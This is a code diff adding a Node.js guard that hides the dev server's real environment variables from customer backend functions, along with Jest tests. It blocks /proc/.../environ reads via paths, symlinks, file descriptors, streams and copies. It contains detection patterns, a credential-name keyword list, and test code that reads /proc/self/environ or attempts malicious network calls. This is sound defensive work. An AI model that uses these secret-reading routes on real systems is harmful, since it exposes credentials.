+// `Reflect.get(value, ...)` throws for null/undefined/primitives, which would surface as a confusing +// native TypeError instead of either this file's own clear rejection message or a graceful no-op. +function isEnvProxy(value: unknown): boolean { + return ( + typeof value === 'object' && value !== null && Reflect.get(value, ENV_PROXY_MARKER) === true + ); +} + +// Shared by every Proxy trap below that does nothing but forward to sharedState.getCurrentEnv() +// with no extra logic of its own — get/has are hand-written instead, since both also +// short-circuit ENV_PROXY_MARKER. +function forwardToCurrentEnv( + reflectFn: (env: Record | NodeJS.ProcessEnv, ...args: Args) => R, +): (_target: NodeJS.ProcessEnv, ...args: Args) => R { + return (_target, ...args) => { + const env = sharedState.getCurrentEnv(); + return reflectFn(env, ...args); + }; +} + +// Re-checked on every runWithScopedEnv call rather than installed once and assumed permanent, since +// isEnvProxy() is what actually detects "is this already installed" — the accessor property below +// makes a bare `process.env = X` (rather than a call through this function) impossible to reach the +// real Proxy install path with, but this function still needs to stay idempotent across every +// evaluation of this file (bundled copies, Jest's per-test-file isolation) that calls it. +function ensureEnvProxyInstalled(): void { + if (isEnvProxy(process.env)) { + return; + } + const proxy = new Proxy(process.env, { + get: (_target, prop, receiver) => { + if (prop === ENV_PROXY_MARKER) { + return true; + } + const env = sharedState.getCurrentEnv(); + return Reflect.get(env, prop, receiver); + }, + // Not forwardToCurrentEnv(Reflect.set): a plain `process.env[key] = value` passes the Proxy + // itself as `receiver`, which for an existing writable property falls back to a PARTIAL + // descriptor that Node's native process.env binding rejects outright. Omitting `receiver` + // from Reflect.set defaults it to `env` itself, resolving as a direct set instead. + set: (_target, prop, value) => Reflect.set(sharedState.getCurrentEnv(), prop, value), + has: (_target, prop) => { + const env = sharedState.getCurrentEnv(); + return prop === ENV_PROXY_MARKER || Reflect.has(env, prop); + }, + deleteProperty: forwardToCurrentEnv(Reflect.deleteProperty), + ownKeys: forwardToCurrentEnv(Reflect.ownKeys), + getOwnPropertyDescriptor: forwardToCurrentEnv(Reflect.getOwnPropertyDescriptor), + defineProperty: forwardToCurrentEnv(Reflect.defineProperty), + // Without this trap, Object.setPrototypeOf(process.env, ...) defaults to forwarding to + // `target` (the real, unscoped env object) and silently poisons its prototype chain + // permanently, even when called from inside a scope — since getCurrentEnv() only affects + // property access, not the object identity a prototype mutation lands on. + setPrototypeOf: forwardToCurrentEnv(Reflect.setPrototypeOf), + // Paired with setPrototypeOf above: without this trap, a customer function that sets a + // scoped prototype and immediately reads it back would see `target`'s (the real env's) + // untouched prototype instead of the one it just set on the scoped view. + getPrototypeOf: forwardToCurrentEnv(Reflect.getPrototypeOf), + // Can't forward to getCurrentEnv(): the Proxy invariants only honor a `preventExtensions` trap + // returning `true` if `target` (always the real env object) is also non-extensible, so + // routing this to the scoped object would either desync the invariant or force freezing the + // real env process-wide. Refusing outright is the only option that risks neither. + preventExtensions: () => false, + }); + // process.env must be an accessor property, not the plain data property it started as — a bare + // `process.env = X` replaces `process`'s own `env` property outright, bypassing every Proxy + // trap above, and the next runWithScopedEnv call would silently adopt that customer-controlled + // object as the new realEnv fallback for every later execution. configurable: false so nothing + // can strip this accessor back to a plain data property. + Object.defineProperty(process, 'env', { + configurable: false, + enumerable: true, + get: () => proxy, + set: (newValue: NodeJS.ProcessEnv) => { + // Self-assignment: something captured process.env (getting this same proxy back, e.g. + // a test's own `const saved = process.env; ...; process.env = saved;` restore pattern) + // and wrote it back. Restoring the pre-swap value from history — rather than a no-op — + // makes this correct; adopting the proxy itself as the real env instead would make every + // future unscoped read recurse back through this same trap forever. + if (isEnvProxy(newValue)) { + sharedState.restoreRealEnvFromHistory(); + return; + } + sharedState.setRealEnvIfOutsideScope(newValue); + }, + }); +} +ensureEnvProxyInstalled(); + +// /proc/thread-self resolves to /proc/self/task/, hence the optional /task/ segment. +// Matches any numeric pid, not just process.pid: a parent process (e.g. the shell that launched +// the dev server) inherits the same secrets, and there's no legitimate reason a backend function +// reads any process's environ file during a scoped execution. +const ENVIRON_PATH_RE = /^\/proc\/(self|thread-self|\d+)(\/task\/\d+)?\/environ$/; + +// Structural check, not `instanceof Error`: Node's native fs errors can cross a realm boundary +// (e.g. Jest's per-test-file VM sandboxing) where `instanceof Error` is false even though the +// object is a genuine error with a real `.code`, which would otherwise silently misroute a normal +// ENOENT into a fail-closed branch instead of its intended graceful fallback. +function isErrnoException(error: unknown): error is NodeJS.ErrnoException { + return typeof error === 'object' && error !== null && 'code' in error; +} + +// fs path arguments can legally be a string, a Buffer, or a file:// URL — checking only the string +// case let a Buffer/URL argument to any of the guarded functions bypass the check entirely. +function toPathString(rawPath: unknown): string | undefined { + if (typeof rawPath === 'string') { + return rawPath; + } + if (Buffer.isBuffer(rawPath)) { + // Buffer.prototype.toString.call, not rawPath.toString(): a customer-controlled instance can + // override its own toString to report a benign path while Node's native fs call still reads + // the real, unmodified bytes. + return Buffer.prototype.toString.call(rawPath); + } + if (rawPath instanceof URL) { + return fileURLToPath(rawPath); + } + if (typeof rawPath === 'number' && process.platform === 'linux') { + // fs.readFileSync/open and friends also accept an already-open fd in place of a path — + // /proc/self/fd/ is a Linux-only symlink to whatever that fd actually points at, letting + // the realpath resolution below see through it the same way it does for a literal symlink + // path. Only ENOENT falls back to "not path-like"; any other failure (EACCES, ELOOP, ...) + // is re-thrown rather than treating an unverifiable fd as safe. + try { + return nativeReadlinkSync(`/proc/self/fd/${rawPath}`); + } catch (error) { + if (isErrnoException(error) && error.code === 'ENOENT') { + return undefined; + } + throw error; + } + } + return undefined; +} + +function isEnvironPath(rawPath: unknown): boolean { + const pathString = toPathString(rawPath); + if (pathString === undefined) { + return false; + } + // Resolved via realpathSync first, not just normalized: fs.readFileSync and friends follow + // symlinks transparently, so a symlink pointing at /proc/.../environ would otherwise bypass a + // literal-string match. Falls back to normalize-only on ENOENT (a nonexistent path can't be + // /proc/.../environ). Any other realpathSync failure is re-thrown rather than silently treated + // as a safe path — the real fs call would hit the identical error anyway. + let resolvedPath: string; + try { + resolvedPath = nativeRealpathSync(pathString); + } catch (error) { + if (isErrnoException(error) && error.code === 'ENOENT') { + resolvedPath = nodePath.posix.normalize(pathString); + } else { + throw error; + } + } + return ENVIRON_PATH_RE.test(resolvedPath); +} + +const ENVIRON_READ_BLOCKED_MESSAGE = + "Reading /proc/.../environ is not allowed in backend functions — it exposes the dev server's real, unscoped environment. Use $.Source or a declared Custom Credential instead."; + +// Per-continuation, like getCurrentEnv() above, so it can't fire for unrelated code running +// concurrently on a different, unscoped continuation. A pure predicate (rather than throwing +// itself) so it can also serve as makeGuardWrapper's shouldBlock. extractFdNumber unwraps an +// already-open FileHandle to the same numeric fd toPathString() resolves via /proc/self/fd, so a +// FileHandle opened against /proc/.../environ before the scope is caught the same way. +function isBlockedEnvironPath(rawPath: unknown): boolean { + // Short-circuits before touching rawPath at all when no scope is active — extractFdNumber reads + // a real FileHandle's native .fd getter, which callers outside any scope must never trigger. + if (!sharedState.isInsideScope()) { + return false; + } + const fdNumber = extractFdNumber(rawPath); + return isEnvironPath(fdNumber); +} + +function throwIfBlockedEnvironPath(rawPath: unknown): void { + if (isBlockedEnvironPath(rawPath)) { + throw new Error(ENVIRON_READ_BLOCKED_MESSAGE); + } +} + +// A FileHandle exposes its underlying fd as a plain number via its own .fd property. +function extractFdNumber(fdValue: unknown): unknown { + if (typeof fdValue === 'object' && fdValue !== null && 'fd' in fdValue) { + return fdValue.fd; + } + return fdValue; +} + +// createReadStream/ReadStream's options.fd (a raw fd number, or a FileHandle whose own .fd is one) +// makes Node read from that fd directly, ignoring the leading path argument — a plain +// throwIfBlockedEnvironPath(rawPath) would never see the real target. Returns a safe options +// object rather than the caller's own: options.fd could be an accessor whose getter returns a +// harmless value to this check and a different, real target to Node's own later read. +function guardEnvironPathOrFdOption(rawPath: unknown, options: unknown): unknown { + throwIfBlockedEnvironPath(rawPath); + if (typeof options !== 'object' || options === null || !('fd' in options)) { + return options; + } + const fdValue = options.fd; + const fdNumber = extractFdNumber(fdValue); + throwIfBlockedEnvironPath(fdNumber); + return { ...options, fd: fdValue }; +} + +// Every guarded fs entry point below except createReadStream takes only a leading path argument — +// wraps that shared shape once via the same makeGuardWrapper network-guard.ts uses, with +// isBlockedEnvironPath as an argument-dependent shouldBlock. Only for genuinely synchronous APIs, +// where a guard failure throwing synchronously matches their real Node contract. +function wrapGuardedFsFn unknown>(real: T): T { + return makeGuardWrapper( + () => real, + (rawPath) => isBlockedEnvironPath(rawPath), + ENVIRON_READ_BLOCKED_MESSAGE, + 'throw', + ); +} + +// fs.promises.* functions must reject rather than throw synchronously on a guard failure, matching +// their real Promise-returning contract. +function wrapGuardedAsyncFsFn Promise>(real: T): T { + return makeGuardWrapper( + () => real, + (rawPath) => isBlockedEnvironPath(rawPath), + ENVIRON_READ_BLOCKED_MESSAGE, + 'reject', + ); +} + +// fs.readFile/open/copyFile/cp report failure via an error-first callback, never a synchronous +// throw — routing them through wrapGuardedFsFn's 'throw' mode would violate that contract for a +// caller that (correctly, per their real signature) never wraps the call itself in a try/catch. +function wrapGuardedCallbackFsFn unknown>(real: T): T { + return makeGuardCallbackWrapper( + () => real, + (rawPath) => isBlockedEnvironPath(rawPath), + ENVIRON_READ_BLOCKED_MESSAGE, + ); +} + +// createReadStream is the one guarded entry point whose second (options) argument can itself carry +// the real read target via options.fd, bypassing whatever the leading path argument says — every +// other function this file guards only ever reads from its own leading path argument. +function wrapGuardedStreamFn unknown>(real: T): T { + const wrapped = (...args: Parameters): ReturnType => { + const safeOptions = guardEnvironPathOrFdOption(args[0], args[1]); + const safeArgs = [args[0], safeOptions] as Parameters; + return real(...safeArgs) as ReturnType; + }; + return wrapped as T; +} + +// open/openSync/promises.open are separate entry points that map a path to a file descriptor +// without going through readFile*, so they need the same guard. +fs.readFileSync = wrapGuardedFsFn(fs.readFileSync); +fs.readFile = wrapGuardedCallbackFsFn(fs.readFile); +fs.promises.readFile = wrapGuardedAsyncFsFn(fs.promises.readFile); +fs.createReadStream = wrapGuardedStreamFn(fs.createReadStream); +fs.openSync = wrapGuardedFsFn(fs.openSync); +fs.open = wrapGuardedCallbackFsFn(fs.open); +fs.promises.open = wrapGuardedAsyncFsFn(fs.promises.open); + +// copyFileSync/copyFile/promises.copyFile/cpSync/promises.cp read the source file's bytes through +// a distinct native binding that never calls through readFile*/open* above — an uncovered path that +// could otherwise copy /proc/.../environ to an ordinary, unguarded file and read it back from there. +fs.copyFileSync = wrapGuardedFsFn(fs.copyFileSync); +fs.copyFile = wrapGuardedCallbackFsFn(fs.copyFile); +fs.promises.copyFile = wrapGuardedAsyncFsFn(fs.promises.copyFile); +fs.cpSync = wrapGuardedFsFn(fs.cpSync); +fs.cp = wrapGuardedCallbackFsFn(fs.cp); +fs.promises.cp = wrapGuardedAsyncFsFn(fs.promises.cp); + +// createReadStream's own wrap above only covers that factory function — Node also exports the +// ReadStream class it constructs internally, and `new fs.ReadStream(path)` never calls through +// createReadStream at all. @types/node declares no explicit constructor for ReadStream (it inherits +// Readable's), so a subclass can't be typed against its real (path, options) signature — a Proxy's +// construct trap guards the same entry point without needing that signature at all. `new Proxy` +// is itself typed to return T given a T target, so no cast is needed on the assignment either. +fs.ReadStream = new Proxy(fs.ReadStream, { + construct(target, args, newTarget) { + const safeOptions = guardEnvironPathOrFdOption(args[0], args[1]); + return Reflect.construct(target, [args[0], safeOptions], newTarget); + }, +}); + +// @types/node doesn't declare excludeEnv yet. It's real, but only wired up to the native report +// generator from Node v22.13.0 — CI pins Node 20.19.4, where setting it is a no-op. Kept anyway: +// on versions that support it, it also redacts reports Node generates on its own via +// --report-on-fatalerror/--report-on-signal, which the getReport()/writeReport() wraps below can't +// reach since no JS call happens for those. Augmented globally so every consumer shares one +// canonical type instead of independently-typed `as unknown as` casts. +declare global { + namespace NodeJS { + interface ProcessReport { + excludeEnv?: boolean; + } + } +} + +type ReportLike = Record & { environmentVariables?: unknown }; + +// process.report.getReport()'s declared return type is a bare `object`, carrying no shape +// information — this predicate narrows it without an `as` cast. +function hasEnvironmentVariables(report: object): report is ReportLike { + return 'environmentVariables' in report; +} + +// Preserves the original's exact (possibly-overloaded) type on the returned wrapper, the same +// reasoning as wrapGuardedFsFn/wrapGuardedAsyncFsFn above, so getReport/writeReport below can +// reassign with no cast — `implementation` receives the original as its first argument rather than +// closing over it, since each wrap's own logic differs and can't share one generic body. +function wrapReportFn unknown>( + original: T, + implementation: (original: T, ...args: Parameters) => ReturnType, +): T { + const wrapped = (...args: Parameters): ReturnType => implementation(original, ...args); + return wrapped as T; +} + +// Strips environmentVariables at the JS level so a customer function's own getReport()/ +// writeReport() call is redacted on every supported Node version, not just where excludeEnv is +// wired up. writeReport() lets Node handle filename generation/defaults as normal, then +// post-processes the file it actually wrote rather than reimplementing its naming convention. +const originalGetReport = process.report.getReport.bind(process.report); +process.report.getReport = wrapReportFn(originalGetReport, (original, ...args) => { + const report = original(...args); + if (sharedState.isInsideScope() && hasEnvironmentVariables(report)) { + delete report.environmentVariables; + } + return report; +}); + +const originalWriteReport = process.report.writeReport.bind(process.report); +process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...args) => { + if (sharedState.isInsideScope()) { + // writeReport(fileName?, err?) also accepts writeReport(err?) with no fileName at all — + // only a string first argument is ever a caller-chosen destination, so this branch is + // skipped (falling through to Node's own write below) when none was given. + const fileNameArg = args[0]; + if (typeof fileNameArg === 'string') { + // Builds the redacted report itself and writes it directly, rather than letting Node + // persist the real report first and rewriting it after — that would leave unredacted + // content on disk if anything between the two writes throws. Cast: TS collapses the + // bound writeReport's overloads to `(err?: Error)`, so the real err arg needs restating. + const errArg = (args as unknown as [string?, Error?])[1]; + const report = originalGetReport(errArg) as ReportLike; + delete report.environmentVariables; + fs.writeFileSync(fileNameArg, JSON.stringify(report, null, 2)); + return fileNameArg; + } + } + const filename = original(...args); + if (sharedState.isInsideScope()) { + const rawReport = fs.readFileSync(filename, 'utf8'); + const report: ReportLike = JSON.parse(rawReport); + delete report.environmentVariables; + const serializedReport = JSON.stringify(report, null, 2); + fs.writeFileSync(filename, serializedReport); + } + return filename; +}); + +// installGuardedProperty in network-guard.ts only patches the CJS-style default-export object; +// Node keeps ESM named bindings (e.g. `import { readFileSync } from 'node:fs'`) as separate +// references that stay bound to the original native functions otherwise. +syncBuiltinESMExports(); + +export interface EnvScopeHandle { + // Discharges this specific call's own token, safe to call even while a different scope is + // still active — unlike forceResetEnv(), it never touches a token it doesn't own. + abandon(): void; +} + +// Wraps only the customer function's own call in local-execution.ts's runScriptLocally, matching +// runBlocked's scope exactly. `onScopeStarted`, if given, is invoked synchronously with a handle +// scoped to *this* call, for a caller whose own timeout might fire while `fn` is still pending. +export async function runWithScopedEnv( + scopedEnv: Record, + fn: () => Promise, + onScopeStarted?: (handle: EnvScopeHandle) => void, +): Promise { + ensureEnvProxyInstalled(); + const token = sharedState.armScope(); + onScopeStarted?.({ abandon: () => sharedState.disarmScope(token) }); + try { + return await sharedState.runInScope(scopedEnv, fn); + } finally { + sharedState.disarmScope(token); + } +} + +// Test-only escape hatch for resetting shared module state between tests — unconditional, unlike +// EnvScopeHandle.abandon(), since a test fully controls when scopes start and end. Production code +// discharges a specific hung scope via that handle instead, since this would otherwise also disarm +// a different, still-active execution's own scope. +export function forceResetEnv(): void { + sharedState.forceResetAllScopes(); +} diff --git a/packages/plugins/apps/src/vite/guarded-wrapper.ts b/packages/plugins/apps/src/vite/guarded-wrapper.ts new file mode 100644 index 000000000..7c6906c58 --- /dev/null +++ b/packages/plugins/apps/src/vite/guarded-wrapper.ts @@ -0,0 +1,75 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +// Shared `this`-forwarding wrapper: calls through when `shouldBlock` returns false, else signals +// failure per `onBlocked` ('reject' also converts a `shouldBlock` throw into a rejection). +// `getReal` is a lazy getter so a runtime swap of the real implementation (spyOn/restoreMock) is +// picked up on the next call, not frozen at wrap time. `shouldBlock` takes `unknown[]`, not F's own +// Parameters, since F is unresolved at every call site — a new entry point whose relevant arg isn't +// in position 0 needs manual review as a result. +export function makeGuardWrapper unknown>( + getReal: () => F, + shouldBlock: (...args: unknown[]) => boolean, + blockedMessage: string, + onBlocked: 'throw' | 'reject', +): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + let blocked: boolean; + if (onBlocked === 'reject') { + try { + blocked = shouldBlock(...args); + } catch (error) { + return Promise.reject(error); + } + } else { + blocked = shouldBlock(...args); + } + if (!blocked) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + if (onBlocked === 'reject') { + return Promise.reject(new Error(blockedMessage)); + } + throw new Error(blockedMessage); + }; + return wrapper as unknown as F; +} + +// The last argument is a function in every real call this wraps (fs.readFile/open/copyFile/cp all +// require their callback), so no other heuristic is needed to find it. +function invokeCallbackArg(args: unknown[], error: Error): void { + const maybeCallback = args[args.length - 1]; + if (typeof maybeCallback === 'function') { + // Deferred, not called synchronously: every real error-first-callback fs function reports + // failure on a later tick, and a caller relying on that ordering (e.g. attaching state right + // after the call, before the callback can possibly run) would otherwise observe this guard's + // rejection out of sequence with a real one. + process.nextTick(maybeCallback as (...cbArgs: unknown[]) => void, error); + } +} + +// For callback-style APIs whose real contract reports failure via an error-first callback, never a +// synchronous throw (fs.readFile/open/copyFile/cp) — makeGuardWrapper's 'throw' mode would break +// that contract. A `shouldBlock` throw is routed through the same callback for the same reason. +export function makeGuardCallbackWrapper unknown>( + getReal: () => F, + shouldBlock: (...args: unknown[]) => boolean, + blockedMessage: string, +): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + let blocked: boolean; + try { + blocked = shouldBlock(...args); + } catch (error) { + invokeCallbackArg(args, error instanceof Error ? error : new Error(String(error))); + return undefined; + } + if (!blocked) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + invokeCallbackArg(args, new Error(blockedMessage)); + return undefined; + }; + return wrapper as unknown as F; +} diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index d9ec54581..ba54c26d0 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -5,12 +5,15 @@ /* global globalThis, NodeJS */ import type { Logger } from '@dd/core/types'; +import { installFakeProcessEnv } from '@dd/tests/_jest/helpers/env'; import { mockLogFn, mockLogger, moduleResolverFor } from '@dd/tests/_jest/helpers/mocks'; +import fs from 'fs'; import * as shared from '../backend/shared'; import type { BackendFunction } from '../backend/types'; import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; +import { forceResetEnv } from './env-guard'; import { func, makePreviewRuntimeContext, @@ -75,9 +78,12 @@ function executeScriptLocally( ); } -// Same reasoning as network-guard.test.ts's own afterEach. +// Same reasoning as network-guard.test.ts's own afterEach, plus process.env: it's also a +// process-wide singleton, so a test that leaves it swapped would otherwise leak into every later +// test in this Jest worker. afterEach(() => { forceReset(); + forceResetEnv(); }); /** A `loadModule` double that resolves the customer's function from a map and rejects anything else with a module-not-found error, matching the common case where neither optional package is installed. */ @@ -182,6 +188,74 @@ describe('local-execution — executeScriptLocally', () => { expect(dollarDuringModuleLoad).toBeUndefined(); }); + test("Should scope process.env during a customer module's own top-level evaluation, not expose the dev server's real environment", async () => { + process.env.DD_TEST_REAL_SECRET = 'sk_live_real_secret'; + let secretDuringModuleLoad: unknown = 'not captured'; + const loadModule: LoadModule = async (specifier) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + secretDuringModuleLoad = process.env.DD_TEST_REAL_SECRET; + return { example: () => 'done' }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + + try { + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: 'done' }); + expect(secretDuringModuleLoad).toBeUndefined(); + expect(process.env.DD_TEST_REAL_SECRET).toBe('sk_live_real_secret'); + } finally { + delete process.env.DD_TEST_REAL_SECRET; + } + }); + + test("Should install the fs environ guard before a customer module's own top-level evaluation runs, not just during the exported function's own body", async () => { + if (process.platform !== 'linux') { + return; + } + + let threwDuringModuleLoad = false; + const loadModule: LoadModule = async (specifier) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + try { + fs.readFileSync('/proc/self/environ'); + } catch { + threwDuringModuleLoad = true; + } + return { example: () => 'done' }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: 'done' }); + expect(threwDuringModuleLoad).toBe(true); + }); + test("Should return a pre-existing globalThis.$ during a customer module's top-level evaluation when something (e.g. zx/globals) seeded it before this module loaded", async () => { const originalDescriptor = Object.getOwnPropertyDescriptor(globalThis, '$'); const preExisting = { fromZxGlobals: true }; @@ -643,6 +717,44 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/timed out after 50ms/); }); + // A zombie scope's own finally never runs (fn() never settles), so abandonExecutionAndRejectWith + // discharges its env scope handle directly instead of relying on that finally. + test('Should restore process.report.excludeEnv to its pre-scope value after a zombie execution is abandoned, not leave it armed forever', async () => { + const excludeEnvDescriptor = Object.getOwnPropertyDescriptor(process.report, 'excludeEnv'); + process.report.excludeEnv = false; + try { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => new Promise(() => {}) }), + mockLogger, + 20, + ), + ).rejects.toThrow(/timed out after 20ms/); + + // Lets the rejected timeout promise's own microtask chain settle before the next scope starts. + await new Promise((resolve) => setTimeout(resolve, 0)); + + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'ok' }), + mockLogger, + ); + + expect(process.report.excludeEnv).toBe(false); + } finally { + if (excludeEnvDescriptor) { + Object.defineProperty(process.report, 'excludeEnv', excludeEnvDescriptor); + } + } + }); + // Proves the hang-detection timer only fires for a genuinely stuck execution, not for a legitimate in-flight $.Actions call that's still comfortably within its budget. test('Should resolve normally when a legitimate in-flight $.Actions call finishes well within the timeout, without the hang-detection timer misfiring', async () => { const executeAction: ExecuteAction = jest.fn( @@ -741,8 +853,8 @@ describe('local-execution — executeScriptLocally', () => { mockLogger, 50, ); - // Enqueued behind hungExecution — if the fix didn't bound the - // stalled $.Actions call, this would never get a turn either. + // Enqueued behind hungExecution — proves the stalled $.Actions call doesn't block the + // queue for later executions. const queuedNext = executeScriptLocally( func, TEST_PROJECT_ROOT, @@ -809,10 +921,10 @@ describe('local-execution — executeScriptLocally', () => { } }); - // Regression test: the absolute ceiling used to be a single fixed window from execution - // start, so two genuinely healthy sequential calls (each individually within bounds) could - // still sum past it. Re-arming the ceiling on each new call fixes that without weakening the - // hang protection above, which relies on the call never re-arming it at all. + // The absolute ceiling re-arms on each new $.Actions call — without that, two genuinely + // healthy sequential calls (each individually within bounds) could still sum past a single + // fixed window from execution start. This doesn't weaken the hang protection above, which + // relies on the call never re-arming it at all. test('Should not reject a function whose sequential $.Actions calls each individually stay within the absolute ceiling but sum past it', async () => { jest.useFakeTimers(); try { @@ -922,6 +1034,156 @@ describe('local-execution — executeScriptLocally', () => { expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); }); + describe('env-guard integration', () => { + // Tests below spread process.env into an override object and assert on it; a failing + // assertion's Jest diff would otherwise serialize whatever process.env holds at that point, + // including this CI job's own real secrets. `originalEnv` is a small, fully-fake base + // instead of the real environment, so a failure here can only ever leak a placeholder. + const originalEnv: NodeJS.ProcessEnv = { + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }; + + installFakeProcessEnv(originalEnv, { resetBetweenTests: true }); + + test("Should never expose the dev server's own DD_API_KEY to the customer function", async () => { + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => typeof process.env.DD_API_KEY === 'undefined', + }), + mockLogger, + ); + + expect(result).toEqual({ data: true }); + }); + + test("Should never expose an AWS-like credential from the developer's own shell to the customer function", async () => { + process.env = { ...originalEnv, AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key' }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => typeof process.env.AWS_SECRET_ACCESS_KEY === 'undefined', + }), + mockLogger, + ); + + expect(result).toEqual({ data: true }); + }); + + test('Should still expose PATH/HOME/NODE_ENV/TMPDIR to the customer function when set in the real environment', async () => { + process.env = { + ...originalEnv, + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => ({ + PATH: process.env.PATH, + HOME: process.env.HOME, + NODE_ENV: process.env.NODE_ENV, + TMPDIR: process.env.TMPDIR, + }), + }), + mockLogger, + ); + + expect(result).toEqual({ + data: { + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }, + }); + }); + + test('Should restore the real process.env after execution, whether the function resolves or throws', async () => { + process.env = { ...originalEnv, AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key' }; + const realEnvSnapshot = { ...process.env }; + + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'ok' }), + mockLogger, + ); + expect({ ...process.env }).toEqual(realEnvSnapshot); + + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + throw new Error('boom'); + }, + }), + mockLogger, + ), + ).rejects.toThrow('boom'); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + // Regression coverage: the action-catalog/backend-runtime registrations resolve real npm + // package specifiers a customer project could itself declare — their own top-level code must + // never see the real, unscoped environment, the same guarantee already proven for the + // customer function itself above. + test("Should never expose the dev server's own DD_API_KEY to the action-catalog package's own load-time code", async () => { + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + + let envSeenDuringRegistration: string | undefined; + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { example: () => 'ok' }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + envSeenDuringRegistration = process.env.DD_API_KEY; + return { setExecuteActionImplementation: () => {} }; + } + const error: NodeJS.ErrnoException = new Error(`Cannot find module '${specifier}'`); + error.code = 'MODULE_NOT_FOUND'; + throw error; + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: 'ok' }); + expect(envSeenDuringRegistration).toBeUndefined(); + }); + }); + test('Should preserve preview context fields while overriding invocation-owned args and Actions', async () => { const getRuntimeContext = async () => ({ ...makePreviewRuntimeContext(), @@ -956,7 +1218,7 @@ describe('local-execution — executeScriptLocally', () => { }); }); - test('Should never expose an auth token via globalThis, including nested inside $.Source', async () => { + test('Should never expose a credential-shaped field anywhere on $, not just inside $.Source', async () => { const result = await executeScriptLocally( func, TEST_PROJECT_ROOT, @@ -964,18 +1226,33 @@ describe('local-execution — executeScriptLocally', () => { stubExecuteAction, loadModuleReturning({ example: () => { - // Recurses into $.Source (a plain data object) but not $.Actions (a Proxy dispatch mechanism, not a data container we'd leak a token into). - const containsTokenKey = (value: unknown): boolean => + const CREDENTIAL_SUBSTRINGS = [ + 'token', + 'secret', + 'key', + 'password', + 'credential', + ]; + const hasCredentialName = (key: string) => + CREDENTIAL_SUBSTRINGS.some((substring) => + key.toLowerCase().includes(substring), + ); + // Recurses into every value, but never enumerates Actions itself (a Proxy dispatch + // mechanism, not a data container) — the preview response backing the rest of $ is + // validated only for Source's shape, so nothing else stops an unexpected field + // (present now or added later) from reaching it undetected. + const containsCredentialKey = (value: unknown): boolean => typeof value === 'object' && value !== null && Object.entries(value).some( ([key, nested]) => - key.toLowerCase().includes('token') || containsTokenKey(nested), + hasCredentialName(key) || containsCredentialKey(nested), ); const dollar = testDollar(); + const { Actions: _actions, ...dollarWithoutActions } = dollar; return ( - Object.keys(globalThis).some((k) => k.toLowerCase().includes('token')) || - containsTokenKey(dollar.Source) + Object.keys(globalThis).some(hasCredentialName) || + containsCredentialKey(dollarWithoutActions) ); }, }), @@ -1469,6 +1746,63 @@ describe('local-execution — executeScriptLocally', () => { expect(executeAction).not.toHaveBeenCalled(); }); + // Mirrors the raw $.Actions path's malicious-toJSON() test: the action-catalog typed-wrapper + // path doesn't share code with makeActionsProxy, so it needs the same coverage separately. + test("Should block a malicious toJSON() on an action-catalog typed-wrapper call's request from making a real network call under cover of the exemption", async () => { + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + let registeredImpl: + | ((actionId: string, request: unknown) => Promise) + | undefined; + let fetchAttempt: Promise | undefined; + const maliciousRequest = { + inputs: { + text: 'hi', + toJSON() { + fetchAttempt = 